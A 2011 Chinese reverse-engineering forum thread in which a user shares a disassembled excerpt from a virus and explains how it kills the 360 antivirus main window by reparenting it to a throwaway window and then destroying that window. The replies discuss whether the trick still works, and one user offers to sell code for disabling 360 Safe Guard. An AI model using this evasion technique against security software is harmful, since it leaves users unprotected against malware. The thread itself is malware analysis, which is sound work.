首页
社区
课程
招聘
[分享][分享]销毁360杀毒主窗口的一种方法(分析病毒有感)
发表于: 2011-3-13 15:37 6904

[分享][分享]销毁360杀毒主窗口的一种方法(分析病毒有感)

2011-3-13 15:37
6904
前几天弄到一个病毒,其中比较感兴趣的是对抗杀软部分,下面就是销毁360sd主窗口的方法的反汇编代码

004020FE    53              push    ebx
004020FF    56              push    esi
00402100    53              push    ebx
00402101    50              push    eax                              
00402102    68 E0010000     push    1E0
00402107    68 80020000     push    280
0040210C    6A 64           push    64
0040210E    6A 64           push    64
00402110    68 0000CF00     push    0CF0000
00402115    68 90134000     push    00401390                         ; ASCII "WN321"
0040211A    68 90134000     push    00401390                         ; ASCII "WN321"
0040211F    53              push    ebx
00402120    FF15 C8104000   call    dword ptr [<&USER32.CreateWindow>; CreateWindowExA
00402126    8BF0            mov     esi, eax                         ; HANDLE
00402128    56              push    esi
00402129    57              push    edi
0040212A    FF15 CC104000   call    dword ptr [<&USER32.SetParent>]  ; 病毒自己创建一个窗口,并设置为360sd.exe的父窗口
00402130    56              push    esi
00402131    FF15 D0104000   call    dword ptr [<&USER32.DestroyWindo>; DestroyWindow   销毁父窗口 所以子窗口也销毁
00402137    8B4C24 58       mov     ecx, dword ptr [esp+58]



基本原理:父窗口销毁了,子窗口就销毁了。

EnumWindow→EnumWindowsProc→GetWindowThreadProcessID→CreatetoolHelp32SnapShot→得到进程名,如果进程名是360sd.exe的话,病毒自己创建一个窗口A,并把360sd.exe主窗口的父窗口设置为A, 然后病毒销毁窗口A,由于父窗口被销毁了,所以子窗口也被销毁了。

本人第一次分析病毒,感觉这个对抗杀软的思路很好,所以分享出来。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 1040
活跃值: (1293)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
据说这个已经是很久很久很久以前的东西了……据说360很早很早就可以防了~

如果没猜错的话,下面还有用EndTask关瑞星的东西吧,应该也已经很old了……
2011-3-13 15:48
0
雪    币: 271
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wep
3
额,这个 确实如你所说。 但是发现最新版的360sd主窗口还是被关闭了。
2011-3-13 15:52
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
应该没用了吧,1年前的东西了
2011-3-13 16:56
0
雪    币: 133
活跃值: (113)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
5
xiexie分享
2011-3-13 17:04
0
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
关360sd有个毛用,360sd是组装机,安全卫士才是他们的最强大的技术。。。。
2011-3-13 17:27
0
雪    币: 278
活跃值: (709)
能力值: ( LV15,RANK:520 )
在线值:
发帖
回帖
粉丝
7
安全卫士想KO掉简直易如反掌,有谁能拿1000块叫我KO掉,马上放代码
2011-3-13 17:55
0
雪    币: 92
活跃值: (154)
能力值: ( LV8,RANK:135 )
在线值:
发帖
回帖
粉丝
8
这种方法360说可以防止,但是还是有可以跳过的...
2011-3-14 10:36
0
游客
登录 | 注册 方可回帖
返回
//